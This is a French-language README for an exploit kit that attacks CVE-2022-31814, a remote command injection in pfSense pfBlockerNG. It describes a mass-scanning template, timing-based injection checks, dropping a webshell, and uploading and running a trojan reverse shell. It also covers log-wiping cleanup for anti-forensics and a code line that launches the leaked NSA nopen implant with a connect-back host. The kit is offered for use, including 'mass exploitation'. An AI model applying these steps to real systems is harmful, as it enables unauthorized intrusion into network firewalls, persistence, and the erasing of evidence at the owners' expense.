Kit d'exploitation CVE-2022-31814.
Kit d'exploitation de CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26).
Il s'agit d'un kit d'exploitation pour l'injection de commandes à distance dans les plugins pfSense pfBlockerNG <= 2.1.4_26, découverte par IHTeam.
Je l'ai écrit pour jouer avec certains principes de conception trouvés dans le kit d'exploitation de pare-feu de la NSA — pour cette raison, il est conçu pour être entièrement compatible avec l'implant nopen (une modification mineure et documentée est nécessaire), dispose de fonctions intégrées d'effacement des journaux, et est extrêmement fiable grâce à des vérifications pré-vol (tests de vulnérabilité passifs et actifs).
Un payload trivial de shell TTY inversé écrit en Python (ces machines sont livrées avec un interpréteur Python) est fourni en remplacement de nopen dans ce kit, car exécuter des binaires douteux volés à la NSA semble un peu risqué dans des environnements de production.
Pour du yolo-scanning de petites primes et de l'exploitation de masse, exécutez le template nuclei fourni (il devrait également avoir été intégré en amont à présent). Cela vous donnera une liste de cibles. Ce fichier est nommé nuclei-CVE-2022-31814.yaml.
Pour le soin chirurgical de précision des réseaux, il y a quatre « modes » à connaître, documentés ci-dessous. Exécutez-les dans l'ordre. Ils se définissent avec le drapeau --mode.
Ce mode fait deux requêtes HTTP — l'une pour vérifier qu'il s'agit bien d'un pfSense (en contrôlant le titre HTTP sur /), et l'autre vers le point de terminaison vulnérable pour vérifier qu'il semble correct. Ce mode n'exploite rien.
Ce mode fait deux requêtes HTTP — les deux exploitent la vulnérabilité.
Il injecte un sleep 1 et un sleep 10 et vérifie que la différence de temps entre les deux requêtes est supérieure à 6 secondes.
J'ai ajouté une petite marge pour tenir compte de la latence si vous envoyez l'exploit via un proxy (vous le faites, n'est-ce pas ?).
Ce mode fait 3 requêtes HTTP.
La première exploite la vulnérabilité pour déposer une webshell à l'aide d'une requête GET.
La deuxième utilise la webshell pour téléverser notre cheval de Troie à l'aide d'une requête POST.
La troisième utilise la webshell pour exécuter notre cheval de Troie à l'aide d'une requête POST.
Ce mode fait deux requêtes HTTP.
La première téléverse un script de nettoyage via la webshell.
La seconde exécute le script de nettoyage.
Le script de nettoyage purge les journaux, supprime le cheval de Troie, supprime la webshell, puis se supprime lui-même. Il le fait de manière raisonnable (rm -rf). Pas particulièrement solide d'un point de vue forensique — je corrigerai peut-être cela plus tard en utilisant dd pour écraser les fichiers avant de les supprimer. J'écrirai peut-être aussi un peu de magie sed pour purger chirurgicalement les journaux, mais franchement, seulement si j'en ai envie.
Pour une utilisation avec nopen, remplacez simplement la dernière commande « exécuter le cheval de Troie » dans la fonction exploit() par ce qui suit :
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
Et fournissez un binaire nopen (noserver) freebsd qui fonctionne sur votre système cible — cela peut être difficile, vous devez patcher le noserver-3.3.2.3-freebsd_8.0-i386 de la fuite EQGRP pour utiliser libkvm.so.7 au lieu de libkvm.so.5, et le système cible doit avoir la couche de compatibilité lib32... qui n'est pas fournie par défaut dans pfSense.
Je pourrais ajouter un drapeau --nopen pour automatiser cela dans une version ultérieure, si les gens tiennent vraiment à utiliser nopen. Ils ne devraient pas.
Avis IHTeam : https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/